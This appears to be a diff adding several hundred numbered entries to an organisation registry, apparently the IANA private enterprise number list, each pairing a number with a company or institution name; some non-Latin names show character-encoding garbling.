+50312 Tennessee Cancer Specialists
+50313 eVestment
+50314 Bracket Computing, Inc.
+50315 Harborside Condominium Owners Association
+50316 Modbus Organization, Inc.
+50317 RNK SERVICOS
+50318 TrustFactory(Pty)Ltd
+50319 POCABAR GmbH
+50320 Engineers Gate
+50321 Trimark Limited
+50322 Mondragon Goi Eskola Politeknikoa Jº Mª Arizmendiarrieta S. Coop.
+50323 Santander Consumer USA Holdings Inc
+50324 Quatius Limied
+50325 The Candystripe Company
+50326 Xton Technologies
+50327 Funding Circle Limited
+50328 asap
+50329 Druid Software
+50330 Microart ltd.
+50331 Rennschmiede Pforzheim e.V.
+50332 Motorola Solutions Australia Pty. Limited
+50333 SamKnows Ltd
+50334 E.on Värme Sverige AB
+50335 Security Bank of KC
+50336 MFR Stenay
+50337 New Hampshire Oncology-Hematology, PA
+50338 North Pole Engineering
+50339 Satellite Signature
+50340 Ares-Tech
+50341 Habitech
+50342 Telexir
+50343 SpaceCircuits
+50344 Häradskog i Örebro AB
+50345 Panopta
+50346 Centerpoint Networks
+50347 Muquans
+50348 VCP Land Schleswig-Holstein
+50349 Cubic Global Defense
+50350 Epikur Software & IT-Service GmbH & Co. KG
+50351 Love That Collar
+50352 jfrederick.com
+50353 Secure-U
+50354 Sonalysts, Inc.
+50355 Bit-hewn Technologies Ltd
+50356 Fenrir Inc.
+50357 AmeriTech Energy Corporation
+50358 Sri Sai Communications Pvt.Ltd.,
+50359 Synthesa Chemie Gesellschaft m.b.H.
+50360 Lumacron Technology Ltd
+50361 Transport Limon
+50362 iNETSTABLE.cz
+50363 915ers
+50364 TRANSPORTS GIGOUX
+50365 TRANSPORTS GIGOUX
+50366 Paratus AMC Limited
+50367 EJIE
+50368 Open Cosmos LTD
+50369 IQHQ
+50370 RadioKit Ltd
+50371 Deliverik Software Co. Ltd.
+50372 Data Vision S/A
+50373 Serpent77 Networks
+50374 Vlasnet Enterprises Beheer BV
+50375 Landesmedienzentrum Baden-Wuerttemberg
+50376 HUENGSBERG GmbH
+50377 Ministerio de Economía de la República de El Salvador
+50378 Mendel Warshawsky MD
+50379 Sebastian Rauch Glasfasertechnik
+50380 iDAvatars
+50381 Trust Designer
+50382 Apeiron Data Systems, Inc.
+50383 Radiofit
+50384 Zotter Schokoladen Manufaktur GmbH
+50385 Maestro Digital Mine
+50386 SigScale Global Inc.
+50387 lenart.io
+50388 TRANSPORTS GEYER & CIE
+50389 VIZENTEC S/A
+50390 Redjack
+50391 Dallas Makerspace
+50392 Eles
+50393 HongKong JoyTelecom Co., Limited
+50394 Conrad Electronic SE
+50395 VARTA Consumer Batteries GmbH & Co. KGaA
+50396 FSUE "State ATM Corporation", branch "Aerocontrol"
+50397 Shanghai YuHuan Information System.,Ltd
+50398 Asseance Software Inc.
+50399 Association of German Transport Companies (VDV)
+50400 Frogen International Limited
+50401 VBM / Veri Bilgi Merkezi BiliÅŸim Hiz. Ltd.
+50402 Radio Belle Vue
+50403 BACKFACTORY GmbH
+50404 Tata Instatitute of Fundamental Research Hyderabad
+50405 Tasmanian Alkaloids Pty Ltd
+50406 Vietnam Post and Telecommunication industry technology joint stock company (VNPT Technology)
+50407 BERNHARD CHRISTIAN
+50408 DUTRIEUX ROGER
+50409 Australasian Audio Engineering (NZ) Ltd.
+50410 Goliath Technologies
+50411 Soprani.ca
+50412 Superna
+50413 UB330.net d.o.o.
+50414 Weka.IO
+50415 Challow
+50416 Gabriel Guldner
+50417 Maricopa County
+50418 MetsTech Pty Ltd
+50419 Bubtaina Group Limited
+50420 earthledger
+50421 SEIKO ELECTRIC CO.,LTD
+50422 philisense
+50423 amazingrex
+50424 Netberg
+50425 MKSS Thailand Co., Ltd.
+50426 National Library of Greece
+50427 KIEHL FRERE
+50428 TRANSPORTS HOLZ
+50429 TWT
+50430 RIEDLINGER SARL
+50431 DERSEN Sp. z o.o.
+50432 GE Power
+50433 IBE - Institute for Medical Information Processing, Biometry and Epidemiology
+50434 Tieto Great Britain
+50435 jingjiamicro
+50436 NM2 S.r.l.
+50437 ZhongXin Cybersecurity Co.,Ltd.
+50438 TRANSPORTS CONRAD
+50439 Discovery Digital
+50440 RPWB
+50441 Inventure
+50442 Saransh
+50443 BEL Ministerie van Landsverdediging
+50444 TRANSPORTS VINCENT
+50445 Harmony Lab
+50446 RVA Lighting and Masts
+50447 Schilliger Bois SAS
+50448 ROPP PIERRE ET CIE TRANSPORTS
+50449 Asseco-SEE DOOEL Macedonia
+50450 CarePool Hannover GmbH
+50451 LMMR Technologies Ltd
+50452 SOVEN
+50453 GSD Healthcare FZ LLC
+50454 飞利信 (PHILISENSE)
+50455 aptico GmbH
+50456 Myers Industries Inc
+50457 SMJG e.V.
+50458 VIAA
+50459 Leonardo DRS, Inc.
+50460 Codeo Soluções em Tecnologia
+50461 Eastcompeace
+50462 bredent GmbH & Co.KG
+50463 TRANSPORTS PERRIN
+50464 VEM Group
+50465 intelliCard Solutions AG
+50466 ProBoards, Inc
+50467 iD Mobile
+50468 MEDIAEDGE Corporation
+50469 Bytepimps
+50470 Piston Intelligence Co.,Ltd
+50471 CISPA - Center for IT Security, Privacy and Accountability
+50472 Rugged Logic, Inc.
+50473 HealthCare Relations Co., Ltd.
+50474 Canadian Tire Corporation, Limited
+50475 Wozavez Consulting Ltd.
+50476 Roga & Kopyta
+50477 Deli Group
+50478 St. John's School
+50479 Grepit AB
+50480 Broker Consulting, a.s.
+50481 Katharina Kasper Gruppe
+50482 A.N. Belozersky Institute Of Physico-Chemical Biology
+50483 SK Versicherung AG
+50484 Geely universty
+50485 Vodafone GmbH
+50486 Vlaamse Maatschappij voor Sociaal Wonen
+50487 Municipio de Caxias do Sul
+50488 AW2S
+50489 Beveridge Williams & Co Pty Ltd
+50490 Yunhe Enmo(Beijing)Technology Co.,LTD
+50491 Covond Digital Communications Tec.,Ltd
+50492 Reygers Systemhaus GmbH
+50493 The Wind in the Sail, LLc
+50494 Danske Spil A/S
+50495 Ceph
+50496 Sidean SRL
+50497 4myhealth
+50498 Inalasys Technologies
+50499 Delta Engineers, Architects, & Land Surveyors, DPC
+50500 NCSCCS Intelligence
+50501 Pos Digicert Sdn Bhd
+50502 HYPR Biometric Security
+50503 Federal Way Schools
+50504 XtraTrust, Inc.
+50505 Mystia.org
+50506 CGI
+50507 Royal National Lifeboat Institution
+50508 GrowingSpace
+50509 Fidelity Bank
+50510 Procubed Inc
+50511 Stordata Sverige AB
+50512 Reisenett AS
+50513 coseos.com
+50514 Royal Automobile Club of Tasmania
+50515 Smart Study Co., Ltd.
+50516 Cubresa
+50517 Reinform-Int
+50518 YOUNG Develpment Co.
+50519 NetCologne GmbH
+50520 Bundesdruckerei GmbH
+50521 Zentraler IT-Dienstleister der Justiz des Landes Brandenburg
+50522 Kabel Premium Pulp & Paper GmbH
+50523 Zynga
+50524 Provision Data Systems Inc
+50525 DRTECH
+50526 Creative Thinking Innovation Technology
+50527 Diaverum Sweden AB
+50528 Toriv AB
+50529 Lonza AG
+50530 R3
+50531 Freedom Holdings, LLC dba Freedom Graphic Systems
+50532 BuFaTa Elektrotechnik
+50533 Samaritas
+50534 Assurance Technology Corporation
+50535 Svpribor Ltd.
+50536 iXsystems
+50537 TeleCommunications Systems, Inc Enterprise Technologies Division
+50538 Data Systems International, Inc.
+50539 FNT
+50540 FieldComm Group, Inc.
+50541 San Jose FIRST Robotics Club
+50542 AC&E Pty Ltd
+50543 Ambedded Technology Co., LTD.
+50544 Intrinsic ID B.V.
+50545 Maxell, Ltd.
+50546 Burton Neil & Associates, P.C.
+50547 DXWash LLC
+50548 metraTec GmbH
+50549 Inapa
+50550 Beijing Tengling Technology Co.,Ltd.
+50551 Elara Software GmbH
+50552 SARA ELECTRONIC INSTRUMENTS SRL
+50553 PRIMARK Limited
+50554 DigiCAP Co.,Ltd.
+50555 Laureate Education Services Australia
+50556 ukgov.cloud
+50557 ictservices.co.uk
+50558 Northrop Grumman Litef GmbH
+50559 Alex Lambert
+50560 infra fuerth gmbh
+50561 Agroprombank CJSC
+50562 Powersmiths International Corp.
+50563 Council Rock Enterprises LLC
+50564 MaxiMedia
+50565 CohuHD Costar LLC
+50566 Pitt County Schools
+50567 RF Optic LTD
+50568 The University of Texas Rio Grande Valley
+50569 Cookiejar Technologies Pvt. Ltd.
+50570 WoTrus CA Limited
+50571 Erste Group IT International
+50572 CHU de Québec
+50573 Ram Tool Construction Supply Co.
+50574 R3 Continuum, LLC
+50575 Synchrony Financial
+50576 TrustComm Inc
+50577 West Cancer Center
+50578 Solid State Network Solutions
+50579 Seckure, LLC
+50580 International Integrated Systems, Inc.
+50581 MHOLGUIN
+50582 U-NMS
+50583 Omnipresent Friki Enviroment
+50584 Indiana University, Radiology and Imaging sciences
+50585 Core-Mark International
+50586 Civiq Smartscapes LLC
+50587 Cloudwise SRL
+50588 Datapath Limited
+50589 Xorble
+50590 RunSmart
+50591 SCIERIE ET CAISSERIE DE STEINBOURG
+50592 OOO "OTZVUK"/ООО "ОТЗВУК"
+50593 FSI (FM Solutions) Ltd
+50594 Peregrine Labs LLC
+50595 AtFCyber Inc
+50596 VisageCloud
+50597 GnomeLabs
+50598 stulz technology integration limited
+50599 Bank Millennium SA
+50600 Radium
+50601 Richard M. Hicks Consulting, Inc.
+50602 Impact Networking
+50603 Discovery Bank
+50604 ss7.io
+50605 ChinaNetCenter-Xiamen R&D center
+50606 TSEP
+50607 ELVEES NeoTek, JSC
+50608 Taylor Fresh Foods Inc.
+50609 walker
+50610 Uppsala Akademiförvaltning
+50611 Laban
+50612 South Hadley Public Schools
+50613 RABBAH SOFT SARL
+50614 St Augustine's College-Sydney
+50615 Heldküchen Möbelfabrik GmbH
+50616 Huorong
+50617 JIT Solutions Sp. z o.o.
+50618 Enghouse AG
+50619 Bedford Borough Council
+50620 UniTesS
+50621 Golage Inc
+50622 EQS Group AG
+50623 South Jersey Industries
+50624 Hill-Rom, Inc.
+50625 Agari Data, Inc.
+50626 Concentric Media Sdn Bhd
+50627 Rosenberger Hochfrequenztechnik GmbH & Co KG
+50628 Imopetro, SA.
+50629 e-business systems, SARL
+50630 Compal Electronics Inc.
+50631 Latvijas Republikas Ārlietu ministrija
+50632 Anyware LTD
+50633 LPixel Inc.
+50634 LLC NPO UralNash
+50635 Gunnar Beutner
+50636 FELA Management AG
+50637 Squadra Group
+50638 cyLEDGE Media GmbH
+50639 Enics
+50640 R2 Dermatology
+50641 Orthopädie-Schuhtechnik Frisch GmbH & Co. KG
+50642 Andreas Schufft SW Entwicklung & EDV Beratung
+50643 "ИП" Kostakov Dmitry
+50644 Elumbus GmbH
+50645 Salvage Management & Disposals (Pty) Ltd.
+50646 Signaturit Solutions, S.L.
+50647 Beispielsfall
+50648 ENVOY Group, LLC
+50649 Trailing Bits
+50650 Xerox Belgium - Luxembourg
+50651 5F Soluções em TI
+50652 Communal Hydro Energy, Inc.
+50653 Huaxin SM Optics (HSMO)
+50654 Pioneer Service Corporation
+50655 SUNTOR ELECTRONICS CO.,LIMITED
+50656 Somerset Partnership NHS Foundation Trust
+50657 Direction interministérielle du numérique et du système d'information et de communication de l'Etat
+50658 Aviator
+50659 Department of the Prime Minister and Cabinet
+50660 RNLI
+50661 Spencer First Church of the Nazarene
+50662 Maryland Department of Human Services
+50663 Birmingham Open Source Solutions Ltd
+50664 Internalog LLC
+50665 HILLS HEALTH SOLUTIONS
+50666 Trade FIDES, a.s.
+50667 Betterservers
+50668 igloonet s.r.o.
+50669 National Bank of Belgium
+50670 Innovametro
+50671 TVT
+50672 LayTec AG
+50673 Tessenderlo Chemie International
+50674 Gosteleradiofond
+50675 TRANSMASH-TOMSK
+50676 Essenjay Technology
+50677 datacrumbs
+50678 Cihan Aydin
+50679 Hanssens Telecom
+50680 SomaLogic Inc.
+50681 IPHolders Inc.
+50682 SKB Prominform
+50683 NETMA
+50684 Xantaro
+50685 OSZ Informations- und Medizintechnik
+50686 Blue Cedar
+50687 Energyfive
+50688 GRIDNET
+50689 Uila Inc.
+50690 Space Exploration Technologies
+50691 Janus Technology Ltda.
+50692 Embrapa Sede
+50693 ATEA Baltic
+50694 Symanitron-electronics
+50695 ENLITEON Limited
+50696 Brightways Corporation
+50697 Cafari Inc.
+50698 North Central Texas Council of Governments
+50699 ASiO
+50700 Ulrich Busch
+50701 PI SYSTEM co.,ltd.
+50702 DIEHL Informatik GmbH
+50703 Acteon Group Limited
+50704 star.Energiewerke GmbH & Co. KG
+50705 NPAW (Nice People At Work)
+50706 Fiducia & GAD IT AG
+50707 Nextragen Solutions GmbH
+50708 Point Core SAS
+50709 JJIM.de Network Exploration Task-Force
+50710 zhaoqing medical college
+50711 Goldberg & Mathew Medical associates
+50712 Connexys
+50713 KT IT Planning Group
+50714 Jones Lang LaSalle IP, Inc.
+50715 Bluink Ltd
+50716 Huaqin Telecom Technology Co.,Ltd.
+50717 FTI "ROSTRANSMODERNIZATSIYA"
+50718 BPO Advisors SpA
+50719 RNLI
+50720 Hawaii Oncology, Inc.
+50721 St Marys Oncology Center, LLC
+50722 Practice Provider Corporation
+50723 RF Solutions LLC
+50724 Iowa Student Loan
+50725 ROCAS SI
+50726 Tekon-Avtomatika
+50727 Civil Aviation University of China
+50728 Nemon
+50729 Stichting Groningen Groningen Declaration Network
+50730 TELCAT MULTICOM GmbH
+50731 NAES Corporation
+50732 HIAG Data
+50733 bluebyteIT Sven Treiber
+50734 HHGL Limited
+50735 Vricon Systems
+50736 Axcella, LLC
+50737 Chaitin Tech
+50738 HomeLABs
+50739 lmu
+50740 AIRSYS GmbH
+50741 Dust Devil Hosting, LLP
+50742 Optus Yes Lab
+50743 nihon communication solutions
+50744 Max Bögl Bauservice GmbH & Co.KG
+50745 GRDF
+50746 Bank of Namibia
+50747 Vastec
+50748 iRobot Corporation
+50749 Avantix
+50750 AEGIDE
+50751 FIDUMTEC
+50752 Delta Constructors
+50753 Bergkvist Siljan Mora AB
+50754 Bergkvist Siljan Blyberg AB
+50755 Siljan Energi AB
+50756 D. A. Taylor Consulting LLC
+50757 ST Engineering Ltd
+50758 All My Papers
+50759 MAVOCO GmbH
+50760 CELPRAM
+50761 von Stockhausen
+50762 mühlbauer + partner Technische Dokumentation GmbH & Co. KG
+50763 Loca Images
+50764 Genuinous
+50765 Toyota Connected, Inc.
+50766 Mennonite Central Committee Ontario
+50767 PrecisionWave AG
+50768 TECHNOKEY SAS
+50769 Communication Devices Inc.
+50770 TQ Systems GmbH
+50771 B&A Technology Co., Ltd
+50772 GeissNET
+50773 Stored Value Cards, Inc.
+50774 Lessbroken Internet Services
+50775 MeSign Technology Limited
+50776 System V,Inc.
+50777 Stenvalls Trä AB
+50778 Edwin Lankamp Consulting
+50779 Zombie Orrpheus Entertainment LLC
+50780 MacEwan University
+50781 Gradient Technologies, LLC
+50782 Cumulus Systems, Inc.
+50783 Traxens
+50784 GIDURAL, Ltd.
+50785 Knowcell
+50786 Gemological Institute of America
+50787 Thales UK Ltd
+50788 German-Jordanian University
+50789 Sentaca
+50790 Synforma Ltd.
+50791 Redtea Technology (Shanghai) Co., LTD
+50792 Genetus Inc.
+50793 Compulsory inforcement bureau under the Prosecutor general's office of the repoblic of Uzbekistan state unitary enterprise "Centr on electronic online auctions organization"
+50794 Hellomouse
+50795 HENSOLDT Holding Germany GmbH
+50796 Clienia Management AG
+50797 Salzgitter AG
+50798 Aporeto Inc.
+50799 SlashNext (formerly 'Uet')
+50800 Domanski Zakrzewski Palinka sp. k.
+50801 cqcatr é‡åº†ä¿¡æ¯é€šä¿¡ç ”究院 (Chongqing Information and Communication Research Institute)
+50802 556607-9975
+50803 LOGETEL
+50804 SABEN
+50805 nexVortex
+50806 DataBang S.P.R.L.
+50807 Eaglepix Systems LLC
+50808 Veridian Credit Union
+50809 Newcontact
+50810 Stacc AS
+50811 Adel System S.r.l.
+50812 Mediaset España
+50813 Quesive GmbH
+50814 Faculty of Medicine Comenius University
+50815 Agman Holdings Limited
+50816 Telsat
+50817 Jazz Networks Limited
+50818 Hochschulbibliothekszentrum NRW
+50819 Medialis
+50820 Niche Finder
+50821 Eurovibes
+50822 Gospel Technology Ltd
+50823 Inner Expanse LLC
+50824 Central Valley Cancer Center
+50825 RTRJ Tecnologia (T. E. N. Reis Servicos De Informatica - ME)
+50826 Mediso Art s.r.o.
+50827 Needswell Inc.
+50828 Fujian Taili Communication.,Ltd.
+50829 Mount Zion School
+50830 VECTIGALIS d.o.o.
+50831 PATA SIA
+50832 Teratac (Pty) Ltd.
+50833 Bank-Verlag GmbH
+50834 Zavod No. 423 LLC
+50835 Erhardt-IT
+50836 Pontchartrain Cancer Center
+50837 Parsec Labs LLC
+50838 Structura Technology & Innovation s.r.l.
+50839 SkyLab Innogram Pte. Ltd.
+50840 Intercoax Co., Ltd
+50841 Qcera, Inc.
+50842 Infralinc, LLC
+50843 Seychelles Tourism Board
+50844 Impervious Technologies LLC
+50845 RAFFCOM TECHNOLOGIES SDN BHD
+50846 EXASOL AG
+50847 Original Telco Solutions limited
+50848 Innflow AG
+50849 VSV Frakt AB
+50850 SnowOncard
+50851 Gnome Rock
+50852 LECIP CORPORATION (formerly 'LECIP SLP CORPORATION')
+50853 BERTIN IT
+50854 Communics Systemhaus GmbH
+50855 Block Center for Integrative Cancer Treatment
+50856 Pacific Battleship Center
+50857 DENSO SOLUTIONS CO.,LTD.
+50858 Shasta County Office of Education
+50859 dilling.dev
+50860 BIOT sp. z o.o.
+50861 Stadtverwaltung Herzogenaurach
+50862 Hotspring Ventures Ltd
+50863 Figment Design Laboratories (Pty) Ltd
+50864 GLIWA GmbH
+50865 ilah
+50866 ELVA-1 MICROWAVE HANDELSBOLAG
+50867 KPMG Nunwood
+50868 Signamax
+50869 BASoft
+50870 Jieti Technology Co., Ltd
+50871 dyna bcs Informatik GmbH
+50872 Progeny System Corp. (PAX River Office)
+50873 Levi Strauss & Co.
+50874 Cowan & Associates, Inc.
+50875 Slovenske železnice d.o.o.
+50876 GESAN srl
+50877 Balluff GmbH
+50878 Creativity Software
+50879 Walgreens Boots Alliance Services Limited
+50880 Quantus Information Technologies
+50881 PrimeCert Ltd
+50882 Caleo Technologies AB
+50883 tolltickets GmbH
+50884 Nochta, Inc.
+50885 King Abdulaziz Center for World Culture
+50886 Chengdu Saturn Technology Co., Ltd.
+50887 RailNetEurope
+50888 Telcoserv
+50889 Buerotechnik Haustein
+50890 Olimpia Management S.A.
+50891 T.CON GmbH & Co. KG
+50892 Ivy Tech Community College - Lifelong Learning - Bedford
+50893 Ethica Data
+50894 RF Creations
+50895 Kajeet Inc.
+50896 LEAF
+50897 Islamic College of Brisbane
+50898 Comtrol Private Limited
+50899 The Steamship Authority
+50900 ALTE OLDENBURGER Krankenversicherung AG
+50901 OBT AG
+50902 Stadt Nuertingen
+50903 ASOCS
+50904 Kemberton Healthcare Services
+50905 OpenMuffin
+50906 mediainvent Service GmbH
+50907 Lowe-Martin Company Inc.
+50908 Mystery Ranch Ltd.
+50909 Quick Soft Tecnologia da Informação
+50910 Trusted Shops GmbH
+50911 NSS TECHNOLOGY LIMITED
+50912 Multipart Labs
+50913 Ponte Technologies Ltd
+50914 Cyberstack Limited
+50915 Lacroix Traffic
+50916 IMDEA Software
+50917 Berufsförderungswerk Leipzig gGmbH
+50918 KBR GmbH
+50919 KONICA MINOLTA, INC.
+50920 Harold Masenya
+50921 DPS Electronics, Inc.
+50922 bdcj
+50923 DHBW Heilbronn
+50924 NthPermutation Security
+50925 Advance Financial
+50926 Farmers Bank & Trust Co.
+50927 Tapestry Solutions, Inc.
+50928 Ambu A/S
+50929 AS Globitex Holding
+50930 ZhenSen Optical Communication
+50931 Onlearn-tech kft
+50932 Sensio AS
+50933 Szkoła Podstawowa im. Kornela Makuszyńskiego w Giewartowie
+50934 Erre Elle Net s.r.l.
+50935 Oneida Health System
+50936 TV2 Consulting
+50937 Epic Networks S.r.l.
+50938 Apprenda Inc
+50939 Magic Leap, Inc
+50940 SMARTNES S.r.l.s.
+50941 Nocsys
+50942 Tubbesing Services
+50943 BelWü-Koordination
+50944 Deutsche Telekom AG Innovation Laboratories
+50945 Lamb Weston Belaya Dacha
+50946 Restaurant Brands International
+50947 Shanghai Gotell Communication Technology Holdings Co., Ltd.
+50948 BlockArray
+50949 Varner Retail AS
+50950 ARVAL
+50951 Manx Telecom IT
+50952 Dimetor GmbH
+50953 BluVector INC
+50954 Sportcast GmbH
+50955 comcrypto GmbH
+50956 Health & Social Care Northern Ireland
+50957 Southwest electrolic research institute of China
+50958 Idax Solutions Ltd
+50959 becrafted
+50960 Advanced Datacentre Systems Ltd
+50961 Gateway TechnoLabs
+50962 Computition
+50963 HalloWelt! GmbH
+50964 Funko
+50965 DANUBE SOFT s. r. o.
+50966 Softbridge Technology
+50967 China Electronics Technology Instruments CO.,LTD The 40th &41st Institute of CETC
+50968 Virtuozzo
+50969 ENTESC SRL
+50970 AerojetRocketdyne
+50971 Beijing Metstar Radar Com. LTD.
+50972 Micronisus Technonologies Pvt. Ltd.
+50973 Vengeful Syndicate
+50974 R2P GmbH
+50975 Tricolorvision
+50976 Medtronic CRHF
+50977 eMudhra Technologies Limited
+50978 DareNET
+50979 Radnor Township School District
+50980 PJSC "TGC-2"
+50981 Gartenmann Software AG
+50982 Viken Skog SA
+50983 BAUR GesmbH
+50984 Stuff In A Plug
+50985 Navigate IT Services GmbH
+50986 New Lexington Clinic, P.S.C
+50987 GoodNet LLC
+50988 eInfochips India Pvt Ltd
+50989 Solactive AG
+50990 CRTC PGUPS
+50991 Electric Applications, Inc.
+50992 Entertainment Partners
+50993 BitSight Technologies
+50994 RBR IT Consulting
+50995 Quantum Networks (SG) Pte. Ltd.
+50996 Wolford AG
+50997 Optellum Ltd
+50998 BeOnLink LLC
+50999 Beijing Lian You Fu Kang Technology Ltd.
+51000 Ardent Creative Inc.
+51001 SurePassID Corporation
+51002 Beehive Systems Pvt Ltd
+51003 Indian River County Sheriff's Office
+51004 Khipu-Networks Ltd
+51005 Opito Labs GmbH
+51006 Collector AB
+51007 Menard, Inc.
+51008 Holiday Stationstores, Inc
+51009 Skylone Technology Ltd.
+51010 Flight Systems Inc
+51011 Beijing Winicssec Technologies Co.,Ltd.
+51012 Griffin INet, Inc
+51013 TS3CORP
+51014 Owen LLC
+51015 Vispiron GmbH
+51016 ZoneArt Networks Ltd
+51017 Thetatronics Ltd
+51018 neurocat
+51019 TrueBlue Inc
+51020 BX Technical Services Inc
+51021 Hochschule Luzern
+51022 DicomFlowAccess - DFA
+51023 SurreyLabs Technology Inc.
+51024 Kay McCormick
+51025 Guangdong South New Media Inc
+51026 WAGNER AG Informatik Dienstleistungen
+51027 Ultra Electronics - USSI
+51028 Nucleos Inc.
+51029 Suno Kaj 3
+51030 Littler Mendelson, P.C.
+51031 w4xzr
+51032 Ridesoft.it
+51033 Quark intelligence llc
+51034 hettronic.net
+51035 Bit4id SAC
+51036 Irbis.Works
+51037 FAMES GmbH
+51038 Quanterion Solutions Incorporated
+51039 Unassigned
+51040 Magellan Medical Systems
+51041 M ALAM Enterprise
+51042 Max-Planck-Institut fuer Entwicklungsbiologie
+51043 protel Hotelsoftware GmbH
+51044 in.power GmbH
+51045 Arnavsoft India Pvt Ltd
+51046 Kungälv Energi AB
+51047 ATI Systems
+51048 BIOSENCY
+51049 Ratel, Inc.
+51050 Hermann Pfanner Getränke GmbH
+51051 Raisin GmbH
+51052 HAINAN EKING TECHNOLOGY CO., LTD
+51053 bottomlesspit
+51054 Mölndal Energi AB
+51055 ABB Switzerland Ltd - Low Voltage Products
+51056 SameArch.RU
+51057 Primwest SA
+51058 SII Group
+51059 Cryptopia Ltd
+51060 Quuxy Inc.
+51061 Distribution Finance Capital Ltd
+51062 Deli Home Products
+51063 Aura Engineering
+51064 ATBIS Co., Ltd.
+51065 Lewii
+51066 San Diego State University Directory Services
+51067 Anyfi Networks AB
+51068 中国广东纽脉电器有é™å…¬å¸ (China Guangdong Pulse Electric Co., Ltd.)
+51069 Inango Systems LTD.
+51070 EPSS European Printer Support Services GmbH
+51071 Fio banka, a.s.
+51072 Verbundrechenzentrum der Kunst- und Musikhochschulen NRW
+51073 AL Wireless a.s.
+51074 Chatham Financial
+51075 HIGHROAD
+51076 Inspire Technology Co.,Ltd ,Dalian China
+51077 Cooltera Limited
+51078 Slobodna domena Zadruga za otvoreni kod i dizajn
+51079 Zolmot Energia
+51080 Novus Power Products LLC
+51081 LogicLab s.r.l.
+51082 Blockchain Technology Research Innovations Corporation
+51083 Stichting ODIN-ICT
+51084 Chronopost
+51085 Applefountain
+51086 YAWL Foundation
+51087 Altoption - Sistemas de Informacao Lda
+51088 Tech Software
+51089 Viamex
+51090 Adritas information Technology co.,Ltd
+51091 Alliander AG
+51092 Westan Logistik AB
+51093 Moving Targets Consulting GmbH
+51094 JSC Special Electrosystems
+51095 Saint Louis University
+51096 ACE Soluções Computacionais
+51097 Foundation for Anime and Niche Subcultures
+51098 DerbyCity.org
+51099 École des mines de Saint-Étienne
+51100 backslash systems
+51101 STL Co.,Ltd.
+51102 MARUENG Co., Ltd.
+51103 Visionary Communications, Inc.
+51104 BoltN Hosting Limited
+51105 SAYMON
+51106 Negotech Cons Kft.
+51107 Andrew Broekman
+51108 Jan Ohlsén Åkeri AB
+51109 Metis Cyberspace Technology SA
+51110 GRADES ESEA NOUVELLE-AQUITAINE
+51111 AVIONIX ENGINEERING sp.z o.o.
+51112 Saraxa GmbH
+51113 Telit Communications PLC
+51114 CeBiTec - Center for Biotechnology
+51115 FRAME, Inc.
+51116 The Ombudsman Service Ltd
+51117 Vision Studio S.A.
+51118 Accelleran NV
+51119 gerdos.de
+51120 ArcScan, Inc.
+51121 Barne-, ungdoms- og familiedirektoratet
+51122 ALLIAS
+51123 II-VI Network Solutions
+51124 Trace3
+51125 Beijing HXZR Technology Co.,Ltd.
+51126 Stream LLC
+51127 Communauté d'Agglomération du Puy-en-Velay
+51128 Nova Integral Sistemas Ltda
+51129 Fireside21
+51130 Apalan Infor S. L.
+51131 NETSHIELD Corporation
+51132 MMD-Monitors & Displays Nederland B.V.
+51133 Cash Flow Management Inc.
+51134 JWIPC TECHNOLOGY DEVELOPMENT LTD.
+51135 深圳中科德能科技有é™å…¬å¸ (Shenzhen Scodeno Technology Co., Ltd.)
+51136 Thinkst Applied Research
+51137 Cambio Healthcare Systems AB
+51138 AIUT sp. z o.o.
+51139 Controlled Electronic Management Systems
+51140 AUDIO INTEGRATED UNITS MMB GmbH
+51141 NPEX.IT
+51142 HMS Holdings Corporation
+51143 Pinguan Tech (Wuhan) Co., Ltd.
+51144 Ratho B.V.
+51145 Globtel Holding d.o.o.
+51146 Csaba Kovács
+51147 Cobalt Iron
+51148 REVGO (GUANGZHOU) TELECOM TECHNOLOGY LIMITED
+51149 Alpenglow Australia Pty Ltd
+51150 Okta, Inc.
+51151 JSC Cybertech
+51152 Lorenzo Rompianesi
+51153 JSC Asteros
+51154 Ecertic Digital Solutions, S.L.
+51155 Utah Hematology Oncology PC
+51156 DaLuNET
+51157 WAVE Project
+51158 ANMD
+51159 ç æµ·å®‰è”é”视科技股份有é™å…¬å¸ (Zhuhai Allianz Sharp Technology Co., Ltd.)
+51160 FoamPartner
+51161 Signet Bank AS
+51162 asTech
+51163 KC Corp
+51164 Beijing Sunyainfo Technologics Co.,Ltd.
+51165 Taubman Engineering
+51166 Game Creek Video
+51167 NTW Netzwerk Telekommunikation Datentechnik
+51168 Cetwin System Solutions
+51169 Inlandsfrakt AB
+51170 LGB
+51171 Sveden Trä AB
+51172 DEPO Electronics Ltd.
+51173 Scientific Florida
+51174 SOOSAN INT Co., Ltd.
+51175 Sony Business Solutions Corporation
+51176 Cloudching
+51177 Gemeinschaftswerk der Evangelischen Publizistik (GEP) gem. GmbH
+51178 Universitaet Ulm Institut fuer Epidemiologie und Med. Biometrie
+51179 Mashroat
+51180 Ministry of Finans of the Republic of Uzbekistan
+51181 Telespazio s.p.a.
+51182 BALIN ADVERTISING LTD.
+51183 JR Butler Inc
+51184 MacAulay-Brown, Inc.
+51185 Oekumenisches Hainich Klinikum gGmbH
+51186 T-MOBILE POLSKA S.A.
+51187 Softiron Limited
+51188 Lanner Electronics Inc.
+51189 JiangSu Future Networks Innovation Institute
+51190 Go-B Enterprise
+51191 IntraPack Industries, Inc.
+51192 Total Access Communication Public Company Limited
+51193 北京平治东方科技股份有é™å…¬å¸(peace-east Networks Ltd.)
+51194 Harvard-Smithsonian Center for Astrophysics
+51195 IT.NRW
+51196 CAF S.A. - Construcciones y Auxiliar de Ferrocarriles S.A.
+51197 Smart Card Security Inc.
+51198 Logicalis Latin America
+51199 LTD Meditsinsky center Doctor Bogolubov
+51200 Fuszenecker Software Development
+51201 VIAZIJING
+51202 Vefsn kommune
+51203 tu-m.de
+51204 SCAE S.p.A.
+51205 COMPILEO
+51206 MH Corporation
+51207 McLennan Ross LLP
+51208 Indeed
+51209 Thinking Design LLC
+51210 Themata Desenvolvimento e Consultoria em TI LTDA
+51211 Iveco S.p.A
+51212 iboss, Inc.
+51213 SeTI SRL
+51214 IKS Co.,Ltd.
+51215 Raffcomm Technologies Sdn. Bhd.
+51216 Alicat Scientific, Inc
+51217 Terabit Computer Systems Corporation
+51218 Ham Radio Group at RWTH Aachen
+51219 HANKEN SCHOOL OF ECONOMICS
+51220 Esprit Europe GmbH
+51221 Wolseley UK Limited
+51222 John Carroll University
+51223 RBJ Enterprises, LLC
+51224 RJ Enterprises, LLC
+51225 ABC
+51226 Department of Mines, Industry Regulation and Safety
+51227 nantong advanced communication technology research institute co. LTD
+51228 LINXA UK LTD
+51229 Tradeshift
+51230 Euron Sp. z o.o.
+51231 SquareTrade
+51232 Tian-Power Ltd.
+51233 GOMYCODE
